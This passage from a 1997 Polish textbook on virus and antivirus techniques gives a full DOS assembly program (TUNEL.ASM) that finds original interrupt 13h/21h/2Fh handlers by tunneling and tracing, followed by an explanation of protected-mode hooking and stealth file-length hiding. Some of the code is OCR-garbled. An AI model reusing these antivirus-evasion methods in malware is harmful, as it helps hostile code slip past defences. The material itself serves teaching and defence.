; RETF 2 do elementu poprzedniego lub bezpo£rednio
; do wywo│uj╣cego programu
Na przykład działanie procedury szukającej adresu przerwania 21h można sprowadzić do następującej sekwencji:
mov ah,52h ; pobierz do ES:BX adres struktury
int 21h ; LL (lista list)
mov bx,es
xor ax,ax ; ustaw adres DS:SI na adres
mov ds,ax ; przerwania 21h wskazywanego
mov si,21h*4 ; przez tablice przerwa±
xchg ax,di ; DI=licznik sprawdzanych bajtow=0
Adres 32:
Ids si,ds:[si] ; pobierz adres
or bx,bx ; czy koniec szukania ?
jz WSegmencieDOS ; TAK - powr¾t DS:SI-adres
mov ax,ds ; \ czy jest to segment DOS ?
cmp ax, bx ; /
jne NastepnyBajt ; TAK - znaleziony adres
xor bx,bx ; BX=0 oznacza koniec szukania
NastepnyBajt:
lodsw ; weƒ 2 bajty bÛd╣ce czÛ£ci╣ aktualnej procedury dec si ; sprawdzamy co bajt
cmp al,9Ah ; czy jest to CALL FAR PTR ?
je Adres32 ; TAK - weƒ kolejny adres
cmp al,0EAh ; czy jest to JMP FAR PTR ?
je Adres32 ; TAK - weƒ kolejny adres
cmp ax,0FF2Eh ; czy jest to JMP FAR CS:DWORD ?
jne NieJMP_DWORD
cmp byte ptr [si+l],al ; czy dalsz╣ czÛ£µ rozkazu JMP FAR CS:DWORD ?
jne NieJMP_DWORD
mov si,ds:[si+2] ; pobierz offset do danych dla skoku jmp short Adres32 ; TAK - weƒ kolejny adres
NieJMP_DWORD:
inc DI ; licznik sprawdzanych bajt¾w
and DI,4095 ; je┐eli sprawdzono ju┐ 4095 bajt¾w,
je Recursive21_Exit ; to ko±cz, bo tuneling nie dzia│a
jmp NastepnyBajt ; weƒ kolejny bajt
WSegmencieDOS:
............ ; adres zosta│ znaleziony (jest w DS:SI)
RecursNieDzia│a:
............ ; adres nie zosta│ znaleziony
6.4.4. Trik2F/13
Do znalezienia oryginalnego programu obsługi przerwania 13h (obsługa fizycznych dysków) w ROM-BIOS można zastosować funkcję (13/2F), która służy do ustawiania nowej procedury obsługi dysków. Po jej wywołaniu dodatkowo zwracana jest informacja o obecnej i pierwotnej (oryginalnej) procedurze obsługi tego przerwania [dokładniej: zwracane są wartości parametrów z poprzedniego wywołania funkcji (13/2F)]. Funkcję tę wykorzystuje IO.SYS przy starcie sy
stemu, aby przejąć kontrolę nad różnymi błędami pojawiającymi się przy dostępie do dysków. To, że potrzebuje ona parametrów wejściowych, można pominąć, gdyż jej dwukrotne wywołanie przywraca oryginalne ustawienia systemu. Poniższa sekwencja pokazuje, jak za pomocą opisanej funkcji znaleźć oryginalny (o ile nie jest on kontrolowany przez program antywirusowy) adres int 13h w ROM-BIOS-ie:
; Trik 2F/13
MOV AH,13h ; funkcja - ustaw obs│ugÛ dysk¾w DS:DX adres
; procedury obs│ugi (mo┐na pomin╣µ gdy┐ za
; chwilÛ i tak zostanie przywr¾cona w│a£ciwa
; procedura obs│ugi). ES:BX adres procedury, kt¾ra system
; bÛdzie ustawia│ jako procedurÛ obs│ugi przerwania nr 13h
; przy ewentualnym zawieszeniu systemu lub po wywo│aniu
; int 19h (tak┐e mo┐na pomin╣µ)
INT 2Fh ; wywo│aj funkcjÛ 13h
; po wywo│aniu ES:BX zwraca adres procedury, kt¾ra system
; ustawi jako int 13h w wy┐ej wymienionych wypadkach, czyli
; zwykle bÛdzie to oryginalna procedura obs│ugi przerwania
13h MOV SEG_13,ES ; trzeba zapamiÛtaµ adres oryginalnej procedury obs│ugi
MOV OFS_13,BX ; intl3h, znajduj╣cej siÛ w ES:BX
MOV AH,13h ; funkcja - ustaw obs│ugÛ dysk¾w DS:DX i ES:BX to warto£ci
; z poprzedniego wywo│ania funkcji (13/2F)
INT 2Fh ; wywo│aj funkcjÛ 13h
Poniższy program znajduje (o ile to możliwe) wejścia do przerwań 21h, 13h, 2Fh, z wykorzystaniem różnych technik tunelingowych-
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; TUNEL v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program demonstruje uzycie kilku odmian tunelingu ;
; do znalezienia oryginalnych adresow przerwan ;
; - 13h (trik 2F/13, tryb krokowy) ;
; - 21h (tablica stalych adresow, tryb krokowy, tuneling rekursywny) ;
; - 2Fh (tablica stalych adresow) ;
; ;
; Kompilacja : ;
; TASM TUNEL.ASM ;
; TLINK /t TUNEL.OBJ ;
; ;
;----------------------------------------------------------------------------;
;
NUL = 00h ; \
LF = 0Ah ; - stale potrzebne do deklaracji
CR = 0Dh ; / lancuchow napisowych
ON = 001h ; \ stale potrzebne do obslugi
OFF = 002h ; / przerwania 1
PROG segment ; segment kodu i danych
ORG 100h ; program jest typu COM
Assume CS:PROG, DS:PROG, ES:PROG, SS:PROG
CodeStart: ; tu zaczyna sie program
lea si,TeCopyRight ; \ pokaz info o programie
Call Print ; /
Call GetOriginal13 ; pokaz oryginalny adres 13h
Call GetOriginal21 ; pokaz oryginalny adres 21h
Call GetOriginal2F ; pokaz oryginalny adres 21h
mov ax, 4C00h ; \ koncz program i powroc do DOSa
int 21h ; /
GetOriginal13 proc near ; procedura pobiera oryginalny adres
; Int 13h (na dwa sposoby) i wyswietla
; go
push si ; zachowaj zmieniany rejestr
lea si,TeGet13 ; \ pokaz info o przerwaniu 13h
Call Print ; /
Call Trik2F13 ; wez adres 13h
; metoda Trik 2F/13
Call ShowAddr ; pokaz adres 13h
Call Tracing13 ; wez adres 13h
; metoda tracingu
Call ShowAddr ; pokaz adres 13h
pop si ; przywroc zmieniany rejestr
ret ; powrot z procedury
GetOriginal13 endp
Trik2F13 proc near ; procedura pobiera oryginalny adres
; Int 13h wykorzystujac funkcje 13h
; przerwania 2Fh
; (wewnetrzna funkcja DOS)
push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push dx ; /
push si ; /
lea si,TeTrik2F13 ; \ pokaz info o metodzie
Call Print ; / Trik 2F/13h
xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ah,13h ; \
int 2Fh ; \
; \
mov cs:ShowSeg,es ; \ trik 2F/13
mov cs:ShowOFS,bx ; /
; /
mov ah,13h ; /
int 2Fh ; /
pop si ; \
pop dx ; \
pop bx ; \ przywroc zmieniane rejestry
pop ax ; /
pop es ; /
pop ds ; /
ret ; powrot z procedury
Trik2F13 endp
Tracing13 proc near ; procedura popbiera oryginalny
; adres Int 13h, wykorzystujac
; metode tracingu
push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push cx ; /
push dx ; /
push si ; /
mov ShowError, offset TeTracingFail
; ewentualny komunikat o bledzie
lea si,TeTracing13 ; \ wyswietl info o metodzie
Call Print ; /
xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ah,8 ; \ pobierz info o twardym dysku
mov dl,80h ; \ i zachowaj na pozniej wartosci
int 13h ; / rejestrow CX i DX; beda one
mov MagicNum1,cx ; / potrzebne do sprawdzenia czy
mov MagicNum2,dx ; / tracer jest juz w dobrym kodzie
mov ax,3513h ; \ wez adres przerwania Int 13h,
int 21h ; \ zeby mozna je bylo przetrace'owac,
mov CallFarSeg,es ; / trzeba je emulowac poprzez
mov CallFarOfs,bx ; / pushf/call dword ptr Ofs:Seg
mov TraceMode,OFF ; flaga potrzebna tracerowi
mov ax,3501h ; \ pobierz adres obslugi
int 21h ; \ przerwania krokowego Int 1
mov of1,bx ; \
mov se1,es ; \ i ustaw nowa procedure jego
; - obslugi, sprawdzajaca, czy
mov dx,offset Tracer_13 ; / funkcja zostala juz wykonana
mov ax,2501h ; / przez BIOS
int 21h ; /
pushf ; \ wlacz tryb krokowy
pop ax ; \ procesora
or ah,1 ; \
push ax ; /
popf ; /
mov dl,80h ; parametr funkcji 08/int 13h = HD0
mov ah,08h ; numer funkcji BIOS
pushf ; czesc emulacji Int 13
mov TraceMode,ON ; wlacz flage tracera
Call dword ptr cs:IntAsFarCall
; emuluj int 13
mov TraceMode,OFF ; wylacz flage tracera
pushf ; \ wylacz tryb krokowy
pop ax ; \ procesora
and ah,0FEH ; \
push ax ; /
popf ; /
lds dx,dword ptr cs:of1 ; \ przywroc stary adres przerwania
mov ax,2501h ; / krokowego Int 1
int 21h ; /
pop si ; \
pop dx ; \
pop cx ; \ przywroc zmieniane rejestry
pop bx ; /
pop ax ; /
pop es ; /
pop ds ; /
ret ; powrot z procedury
Tracing13 endp
Tracer_13 proc far
push bp ; zachowaj zmieniany rejestr
mov bp,sp ; BP wskazuje na stos
; [bp+00] BP
; [bp+02] IP
; [bp+04] CS
; [bp+06] FLAGS
push ax ; zachowaj zmieniany rejestr
cmp cs:TraceMode,ON ; czy wlaczony tracer ?
jne Tracer_13Exit ; jesli nie, to wyskocz z procedury
mov ax,[bp+04] ; AX=CS image
cmp ax,cs:ShowSeg ; czy segment kodu ten sam
je OldSeg13 ; tak=wyskocz procedury
; nie=zachowaj nowy adres seg:ofs
mov cs:ShowSeg,ax ; AX=CS image
mov ax,[bp+02] ; AX=IP image
mov cs:ShowOfs,ax
OldSeg13:
cmp cx,cs:MagicNum1 ; \
jne Tracer_13Exit ; \ czy funkcja sie juz wykonala ?
cmp dx,cs:MagicNum2 ; / nie=wyskocz z procedury
jne Tracer_13Exit ; /
mov cs:TraceMode,OFF ; tak=wylacz tracer, bo adres
; znaleziony
Tracer_13Exit: ; koniec przerwania Int 1
pop ax ; przywroc zmieniany rejestr
or byte ptr [bp+7],1 ; [bp+06] FLAGS , ustaw
; bit TF dla nastepnego rozkazu
; wykonywanego po IRET
pop bp ; przywroc zmieniany rejestr
iret ; powrot z przerwania Int 1
Tracer_13 endp
GetOriginal21 proc near
push si ; zachowaj zmieniany rejestr
lea si,TeGet21 ; \ pokaz info o przerwaniu 21h
Call Print ; /
Call LookUpTable21 ; wez adres 21h
; tablica stalych adresow
Call ShowAddr ; pokaz adres 21h
Call Recursive21 ; wez adres 21h
; metoda tunelingu rekursywnego
Call ShowAddr ; pokaz adres 21h
Call Tracing21 ; wez adres 21h
; metoda tracingu (tryb krokowy)
Call ShowAddr ; pokaz adres 21h
pop si ; przywroc zmieniany rejeetr
ret ; powrot z procedury
GetOriginal21 endp
LookUpTable21 proc near
push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push si ; /
lea si,TeLookUpTable21 ; \ wyswietl info o metodzie
Call Print ; /
xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ShowError, offset TeLookUpTableFailDOSVer
; ewentualny komunikat o bledzie
mov ah,30h ; \ wez wersje DOS
int 21h ; /
xchg al,ah ; ax=wersja DOS, ah=major,al=minor
mov bx,109Eh ; ofset dla DOS 5.0 - 6.22
cmp ax,0500h ; wersja musi byc wieksza od 5.00
jb LookUpTable21_Exit ; mniejsza=tuneling nie zadziala
cmp ax,0622h ; dla wersji wiekszej od 6.22
jbe DOSVerOk21 ; jest inny ofset
mov bx,0FB2h ; ofset dla DOS >6.22 (np. 7.0)
DOSVerOk21: ; ofset ustawiony
push bx ; zachowaj go na stosie
mov ah,52h ; \ pobierz do ES:BX adres struktury
int 21h ; / LL (lista list)
pop bx ; przywroc ze stosu ofset do skoku
mov ShowError, offset TeLookUpTableFailBadOfs
; ewentualny komunikat o bledzie
; czy pod ES;BX jest sekwencja
; 90 lub EB NOP \JMP $+3
; 90 lub 03 NOP /
; E8 xx xx CALL NEAR [IP+xxxx]
; 2E FF 2E yyyy JMP FAR CS:[yyyy] ?
cmp word ptr es:[bx],9090h
je FirstCodeOK21 ; skocz, gdy sa 2 NOPy
cmp word ptr es:[bx],03EBh
jne LookUpTable21_Exit ; skocz, gdy JMP $+3
FirstCodeOK21:
cmp byte ptr es:[bx+2],0E8h ;
jne LookUpTable21_Exit ; skocz, gdy nie ma CALL xxxx
cmp word ptr es:[bx+5],0FF2Eh
jne LookUpTable21_Exit ; skocz, gdy nie ma czesci rozkazu jmp far
cmp byte ptr es:[bx+7],02Eh ;
jne LookUpTable21_Exit ; skocz, gdy nie ma czesci rozkazu jmp far
mov bx,word ptr es:[bx+8] ; \ pobierz [yyyy]=adres oryginalnej procedury
les bx,dword ptr es:[bx] ; /
mov ShowSeg,es ; przepisz segment i offset
mov ShowOfs,bx ; potrzebne do wyswietlenia adresu
LookUpTable21_Exit: ; skacz tu, gdy jakis blad
pop si
pop bx ; \
pop ax ; - przywroc zmieniane rejeetry
pop es ; /
ret ; powrot z procedury
LookUpTable21 endp
Recursive21 proc near
push es ; \
push ds ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push si ; /
push di ; /
lea si,TeRecursive21 ; \ wyswietl info o metodzie
Call Print ; /
mov ShowError, offset TeRecursive21Fail
; ewentualny komunikat o bledzie
xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ah,52h ; \ pobierz do ES:BX adres struktury
int 21h ; / LL (lista list)
mov bx,es
xor ax,ax ; ustaw adres DS:SI na adres
mov ds,ax ; przerwania 21h wskazywanego
mov si,21h*4 ; przez tablice przerwa±
xchg ax,di ; DI=licznik sprawdzanych bajtow=0
Adres32:
lds si,ds:[si] ; pobierz adres
or bx,bx ; czy koniec szukania ?
jz WSegmencieDOS ; TAK - powrot DS:SI=adres
mov ax,ds ; \ czy jest to segment DOS ?
cmp ax,bx ; /
jne NastepnyBajt ; TAK - znaleziony adres
xor bx,bx ; BX=0 oznacza koniec szukania
NastepnyBajt:
lodsw ; wez 2 bajty bedace czescia
; aktualnej procedury
dec si ; sprawdzamy co bajt
cmp al,9Ah ; czy jest to CALL FAR PTR ?
je Adres32 ; TAK - wez kolejny adres
cmp al,0EAh ; czy jest to JMP FAR PTR ?
je Adres32 ; TAK - wez kolejny adres
cmp ax,0FF2Eh ; czy jest to JMP FAR CS:DWORD ?
jne NieJMP_DWORD ;
cmp byte ptr [si+1],al ; czy dalsza czesc rozkazu JMP FAR CS:DWORD ?
jne NieJMP_DWORD ;
mov si,ds:[si+2] ; pobierz ofset do danych dla skoku
jmp short Adres32 ; TAK - wez kolejny adres
NieJMP_DWORD:
inc DI ; licznik sprawdzanych bajtow
and DI,4095 ; jezeli sprawdzono juz > 4095 bajtow,
je Recursive21_Exit ; to koncz, bo tuneling nie dziala
jmp NastepnyBajt ; wez kolejny bajt
WSegmencieDOS:
; adres zostal znaleziony (jest w DS:SI)
mov cs:ShowSeg,ds ; przepisz segment i offset
mov cs:ShowOfs,si ; potrzebne do wyswietlenia adresu
Recursive21_Exit: ; skacz tu, gdy jakis blad
pop di ; \
pop si ; \
pop bx ; \ przywroc zmieniane rejeetry
pop ax ; /
pop ds ; /
pop es ; /
ret ; powrot z procedury
Recursive21 endp
Tracing21 proc near ; procedura popbiera oryginalny
; adres Int 13h wykorzystujac
; metode tracingu
push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push cx ; /
push dx ; /
push si ; /
mov ShowError, offset TeTracingFail
; ewentualny komunikat o bledzie
lea si,TeTracing21 ; \ wyswietl info o metodzie
Call Print ; /
xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ah,62h ; \ pobierz info o aktualnym PSP
int 21h ; \ i zachowaj na pozniej te wartosc
mov MagicNum1,bx ; / (rejestr BX) bedzie ona
; / potrzebna, zeby sprawdzic, czy
; / tracer jest juz w dobrym kodzie
mov ax,3521h
int 21h ; \ wez adres przerwania Int 21h,
mov CallFarSeg,es ; \ zeby mozna je bylo przetrace'ow
mov CallFarOfs,bx ; / trzeba je emulowac poprzez
; / pushf/call dword ptr Ofs:Seg
mov TraceMode,OFF ; flaga potrzebna dla tracera
mov ax,3501h ; \ pobierz adres obslugi
int 21h ; \ przerwania krokowego Int 1
mov of1,bx ; \
mov se1,es ; \ i zmien je na nowa procedure
; - obslugi, sprawdzajaca czy
mov dx,offset Tracer_21 ; / funkcja zostala juz wykonana
mov ax,2501h ; / przez DOS
int 21h ; /
pushf ; \ wlacz tryb krokowy
pop ax ; \ procesora
or ah,1 ; \
push ax ; /
popf ; /
mov ah,62h ; numer funkcji DOS
pushf ; czesc emulacji Int 21
mov TraceMode,ON ; wlacz flage tracera
Call dword ptr cs:IntAsFarCall ; emuluj int 21
mov TraceMode,OFF ; wylacz flage tracera
pushf ; \ wylacz tryb krokowy
pop ax ; \ procesora
and ah,0FEH ; \
push ax ; /
popf ; /
; \ przywroc stary adres przerwania
lds dx,dword ptr cs:of1 ; / krokowego Int 1
mov ax,2501h ; /
int 21h
pop si ; \
pop dx ; \
pop cx ; \ przywroc zmieniane rejestry
pop bx ; /
pop ax ; /
pop es ; /
pop ds ; /
ret ; powrot z procedury
Tracing21 endp
Tracer_21 proc far
push bp ; zachowaj zmieniany rejestr
mov bp,sp ; BP wskazuje na stos
; [bp+00] BP
; [bp+02] IP
; [bp+04] CS
; [bp+06] FLAGS
push ax ; zachowaj zmieniany rejestr
cmp cs:TraceMode,ON ; czy wlaczony tracer ?
jne Tracer_21Exit ; jesli nie, to wyskocz z procedury
mov ax,[bp+04] ; AX=CS instrukcji
cmp ax,cs:ShowSeg ; czy segment kodu ten sam
je OldSeg21 ; tak=wyskocz procedury
mov cs:ShowSeg,ax ; nie=zachowaj nowy adres seg:ofs
mov ax,[bp+02] ; AX=CS instrukcji
mov cs:ShowOfs,ax ; AX=IP instrukcji
OldSeg21:
cmp bx,cs:MagicNum1 ; \
jne Tracer_21Exit ; \ czy funkcja juz sie wykonala ?
; / nie=wyskocz z procedury
mov cs:TraceMode,OFF ; / tak=wylacz tracer, bo adres
; / znaleziony
Tracer_21Exit: ; koniec przerwania Int 1
pop ax ; przywroc zmieniany rejestr
or byte ptr [bp+7],1 ; [bp+06] FLAGS, ustaw
; bit TF dla nastepnego rozkazu
; wykonywanego po IRET
pop bp ; przywroc zmieniany rejestr
iret ; powrot z przerwania Int 1
Tracer_21 endp
GetOriginal2F proc near
push si ; zachowaj zmieniany rejestr
lea si,TeGet2F ; \ pokaz info o przerwaniu 2Fh
Call Print ; /
Call LookUpTable2F ; wez adres 2Fh
; tablica stalych adresow
Call ShowAddr ; pokaz adres 21h
pop si ; przywroc zmieniany rejestr
ret ; powrot z procedury
GetOriginal2F endp
LookUpTable2F proc near
push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push si ; /
lea si,TeLookUpTable2F ; \ wyswietl info o metodzie
Call Print ; /
xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ShowError, offset TeLookUpTableFailDOSVer
; ewentualny komunikat o bledzie
mov ah,30h ; \ wez wersje DOS
int 21h ; /
xchg al,ah ; ax=wersja DOS, ah=major,al=minor
mov bx,10C6h ; ofset dla DOS 5.0 - 6.22
cmp ax,0500h ; wersja musi byc wieksza od 5.00
jb LookUpTable2F_Exit ; mniejsza=tuneling nie zadziala
cmp ax,0622h ; dla wersji wiekszej od 6.22
jbe DOSVerOk2F ; jest inny ofset
mov bx,0FDAh ; ofset dla DOS >6.22 (np. 7.0)
DOSVerOk2F: ; ofset ustawiony
push bx ; zachowaj go na stosie
mov ah,52h ; \ pobierz do ES:BX adres struktury
int 21h ; / LL (lista list)
pop bx ; przywroc ze stosu ofset do skoku
mov ShowError, offset TeLookUpTableFailBadOfs
; ewentualny komunikat o bledzie
; czy pod ES;BX jest sekwencja
; 90 lub EB NOP \JMP $+3
; 90 lub 03 NOP /
; E8 xx xx CALL NEAR [IP+xxxx]
; 2E FF 2E yyyy JMP FAR CS:[yyyy] ?
cmp word ptr es:[bx],9090h
je FirstCodeOK2F ; skocz, gdy sa 2-a NOPy
cmp word ptr es:[bx],03EBh
jne LookUpTable2F_Exit ; skocz, gdy JMP $+3
FirstCodeOK2F:
cmp byte ptr es:[bx+2],0E8h ;
jne LookUpTable2F_Exit ; skocz, gdy nie ma CALL xxxx
cmp word ptr es:[bx+5],0FF2Eh
jne LookUpTable2F_Exit ; skocz, gdy nie ma czesci rozkazu jmp far
cmp byte ptr es:[bx+7],02Eh ;
jne LookUpTable2F_Exit ; skocz, gdy nie ma czesci rozkazu jmp far
mov bx,word ptr es:[bx+8] ; \ pobierz [yyyy]=adres oryginalnej procedury
les bx,dword ptr es:[bx] ; /
mov ShowSeg,es ; przepisz segment i ofset
mov ShowOfs,bx ; potrzebne do wyswietlenia adresu
LookUpTable2F_Exit: ; skacz tu, gdy jakis blad
pop si
pop bx ; \
pop ax ; - przywroc zmieniane rejestry
pop es ; /
ret ; powrot z procedury
LookUpTable2F endp
ShowAddr proc near ; wyswietl adres w postaci
; seg:ofs heksalnie na podstawie
; zawartosci zmiennych
; ShowSeg i ShowOfs
push ax ; \ zachowaj zmieniany rejestr
push si ; /
mov si,ShowError ; \ wez adres komunikatu o ewentualnym
; / bledzie
mov ax,ShowSeg ; czy seg i ofs sa wyzerowane,
or ax,ShowOfs ; tzn czy nie znaleziono adresu ?
jz ShowAddrError ; tak=nie znaleziono adresu
mov ax,ShowSeg ; \ wyswietl segment
Call PrintHexDW ; /
mov al,':' ; \ wyswietl dwukropek
Call PrintChar ; /
mov ax,ShowOfs ; \ wyswietl ofset
Call PrintHexDW ; /
lea si,TeCRLF ; \ wyswietl CR,LF,
ShowAddrError: ; - czyli przejdz do nastepnego wiersza
Call Print ; / lub komunikat o bledzie
pop si ; \
pop ax ; / przywroc zmieniany rejestr
ret ; powrot z procedury
ShowAddr endp
PrintHexDW proc near ; procedura wyswietla heksalnie
; liczbe zawarta w AX
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
lea bx,HexChars ; bx wskazuje na tablice konwersji
; liczb heksadecymalnych 0..F
Call PrintHex ; wyswietl liczbe w AX
pop bx ; \ przywroc zmieniane rejestry
pop ax ; /
ret ; powrot z procedury
PrintHexDW endp
PrintHex proc near
push ax ; zachowaj mlodsza czesc adresu
mov al,ah ; AL=starsza czesc adresu
Call PrintHexDB ; wyswietl starsza czesc adresu
pop ax ; przywroc mlodsza czesc adresu
PrintHexDB: ; wyswietl czesc adresu z al
mov ah,al ; zachowaj na chwile te czesc
shr al,1 ; \ wyswietl starsza czesc bajtu
shr al,1 ; \ al przesuniete o 4 w prawo
shr al,1 ; \
shr al,1 ; /
xlat byte ptr cs:[bx] ; / al=[bx+al]
Call PrintChar ; / wyswietl znak w AL
mov al,ah ; \ wyswietl mlodsza czesc bajtu
and al,15 ; \ al zamaskowane z 00001111b
xlat byte ptr cs:[bx] ; / al=[bx+al]
Call PrintChar ; / wyswietl znak w AL
ret ; powrot z procedury
PrintHex endp
Print proc near ; procedura wyswietla tekst ASCIIZ
; spod adresu CS:SI
push ax ; \ zachowaj zmieniane rejestry
push si ; /
GetNextChar:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem
jz PrintExit ; tak=koniec napisu; wyjdz z petli
Call PrintChar ; nie=wyswietl znak w AL
;
jmp short GetNextChar ; i wez nastepny znak
PrintExit:
pop si ; \ przywroc zmieniane rejestry
pop ax ; /
ret ; powrot z procedury
Print endp
PrintChar proc near ; procedura wyswietla znak w AL
push ax ; zachowaj zmieniany rejestr
mov ah,0Eh ; funkcja BIOS
int 10h ; wyswietl znak w AL
pop ax ; przywroc zmieniany rejestr
ret ; powrot z procedury
PrintChar endp
TeCopyRight:
db CR,LF,'TUNEL v1.0, Autor : Adam Blaszczyk 1997',NUL
TeGet13 db CR,LF,'Adres oryginalnej procedury 13h : '
db CR,LF,NUL
TeGet21 db CR,LF,'Adres oryginalnej procedury 21h : '
db CR,LF,NUL
TeGet2F db CR,LF,'Adres oryginalnej procedury 2Fh : '
TeCRLF db CR,LF,NUL
TeTrik2F13 db ' _ trik Int 2Fh/13h := ',NUL
TeTracing13 db ' _ tracing 13h := ',NUL
TeLookUpTable21 db ' _ tablica stalych adresow 21h := ',NUL
TeRecursive21 db ' _ tuneling rekursywny 21h := ',NUL
TeTracing21 db ' _ tracing 21h := ',NUL
TeLookUpTable2F db ' _ tablica stalych adresow 2Fh := ',NUL
TeLookUpTableFailBadOfs db 'Blad : Zla kombinacja kodu',CR,LF,NUL
TeLookUpTableFailDOSVer db 'Blad : Wersja DOS musi byc >5.0',CR,LF,NUL
TeTracingFail db 'Blad : Tracing nie dziala',CR,LF,NUL
TeRecursive21Fail db 'Blad : Tuneling rekursywny nie dziala',CR,LF,NUL
HexChars db '0123456789ABCDEF'
ShowSeg dw ? ; zmienne pomocnicze do zachowywania
ShowOfs dw ? ; znalezionego adresu
ShowError dw ? ; zmienna dla ewentualnych bledow
of1 dw ? ; zmienne potrzebne do zachowywania
se1 dw ? ; adresu Int 1
IntAsFarCall label dword ; adres dalekiej procedury sluzacej do
CallFarOfs dw ? ; emulacji instrukcji INT
CallFarSeg dw ?
TraceMode db ? ; flaga ON=wlaczony/OFF= wlaczony tracer
MagicNum1 dw ? ; zmienne pomocnicze do przechowywania
MagicNum2 dw ? ; wartosci potrzebnych do sprawdzenia czy
; jestesmy juz we wlasciwym kodzie DOS/BIOS
PROG ends ; koniec segmentu kodu i danych
end CodeStart ; koniec programu, pierwsza instrukcja
; pod etykieta CodeStart
6.5. Wykorzystanie trybu chronionego
Tryb chroniony nie jest zbyt często wykorzystywany przez wirusy, jednak kilka z nich używa go do przejmowania przerwań. Po zainstalowaniu (co wiąże się z przejściem do trybu chronionego) każde odwołanie do jakiegokolwiek przerwania będzie kierowane najpierw do wirusa, a dopiero ten przekaże je do oszukiwanego systemu poprzez chwilowe przejście (ang. redirection) do trybu rzeczywistego (lub trybu V86). Ponadto, aby utrudnić wykrycie wirusa w pamięci, można po instalacji przenieść jego kod do pamięci powyżej 1MB.
W przypadku systemu Windows do przejmowania przerwań można wykorzystać fakt, iż udostępnia on programom usługi specyfikacji DPMI (ang. DOS Protected Mode Interface).
Do przejmowania przerwań służą funkcje:
> 0200h - odczytanie wektora przerwań trybu rzeczywistego;
> 0201h - zapisanie wektora przerwań trybu rzeczywistego;
> 0202h - odczytanie adresu procedury obsługi wyjątku;
> 0203h - ustawienie adresu procedury obsługi wyjątku;
> 0204h - odczytanie wektora przerwań trybu wirtualnego;
> 0205h - zapisanie wektora przerwań trybu wirtualnego;
Powyższe funkcje są dostępne w trybie chronionym za pośrednictwem przerwania 31h. Przed ich użyciem należy sprawdzić, czy DPMI jest dostępne, za pomocą funkcji (1687/2F). Dokładniejsze informacje na temat specyfikacji DPMI oraz trybu chronionego zawarte są w pozycjach [l] i [6] ze spisu na końcu książki.
6.6. Włączanie się jako program obsługi urządzenia
Jednym z wirusów stosujących tę metodę jest wymieniany już wirus DIR-2. Zamienia on oryginalną procedurę obsługi dysków poprzez manipulację na strukturach DPB, co zostało dokładniej omówione przy okazji omawiania wirusów zarażających JAP
ROZDZIAŁ 7
Każdemu twórcy wirusa zależy na tym, aby jego dzieło jak najdłużej pozostawało nie wykryte przez użytkownika zainfekowanego systemu. Jest to zrozumiałe, gdyż wykrycie wirusa zwykle kończy się tym, iż w niedługim czasie wpada on w ręce osób piszących programy antywirusowe, a to owocuje napisaniem szczepionki, za sprawą której wirus znika wkrótce z wirusowej sceny.
Niniejszy rozdział opisuje kilka najczęściej stosowanych przez wirusy technik ukrywania się w systemie operacyjnym. Niektóre z nich wymagają stałej obecności wirusa w pamięci, inne sprowadzają się do wykonania kilku operacji, które niejako na stałe ukrywają wirusa przed oczyma ciekawskich.
7.1. Technika stealth
Wirusy komputerowe modyfikują pliki i sektory, zmieniając ich zawartość (w przypadku plików zwykle powiększają jeszcze ich długość). Teoretycznie więc, aby wykryć wirusa, wystarczy odczytać plik lub sektor i odnaleźć w nim, przy użyciu skaningu, odpowiednią sekwencję (sygnaturę) wirusa. I rzeczywiście, metoda ta stosowana była z dużym powodzeniem aż do momentu, gdy pojawił się pierwszy wirus używający techniki stealth. Słowo stealth znaczy po angielsku niewidzialny. Takimi właśnie wydają się wirusy używające tej ciekawej sztuczki, która polega na kontroli odpowiednich funkcji systemu DOS lub BIOS, obsługujących pamięć i operacje dyskowe.
W momencie próby dowolnego dostępu do zainfekowanego pliku lub sektora uruchamiane są mechanizmy wirusa, które mają na celu oszukanie użytkownika.
Oszustwo polega na tym, iż fizycznie zarażony obiekt, po odpowiedniej obróbce przez wirusa, wygląda, jakby był nie zainfekowany. Różne odmiany techniki stealth zostały omówione poniżej.
7.1.1. Podawanie prawdziwych długości plików (ang. semi-stealth)
Wirusy wykorzystujące tę technikę oszukują system poprzez podawanie rzeczywistych długości zainfekowanych plików, wyświetlanych po wykonaniu polecenia DIR lub też w oknie programów dos Navi-gator, Norton Commander, XtreeGold, Windows Commander czy też innych, mniej znanych nakładek.
Wyżej wymienione programy używają do przeszukiwania zawartości katalogu jednej z trzech par funkcji, z których pierwsza poszukuje pierwszego, a druga kolejnego wystąpienia w katalogu. Funkcje te to (1142/21), (4E/4F/21), (714E/714F/21). Oszukujący system wirus przejmuje te funkcje (niekoniecznie 'wszystkie) i monitoruje odpowiednie pola struktur, na których operuje dana funkcja.
W momencie wykonywania jednej z funkcji wirus wywołuje pierwotny program obsługi przerwania, a następnie modyfikuje elementy odpowiedniej struktury:
> pozycji katalogu (funkcje 11/12);
> DTA (funkcje 4E/4F);
> FindData (funkcje 714E/714F).
Modyfikacja polega na odjęciu długości wirusa od długości pliku opisywanej w odpowiednim polu struktury oraz najczęściej jakiejś modyfikacji czasu lub daty, będących znacznikiem zainfekowania pliku. Powyższe operacje wykonywane są oczywiście tylko po wykryciu obecności wirusa w znalezionym pliku.
7.1.1.1. Polecenie DIR wywoływane z poziomu DOS
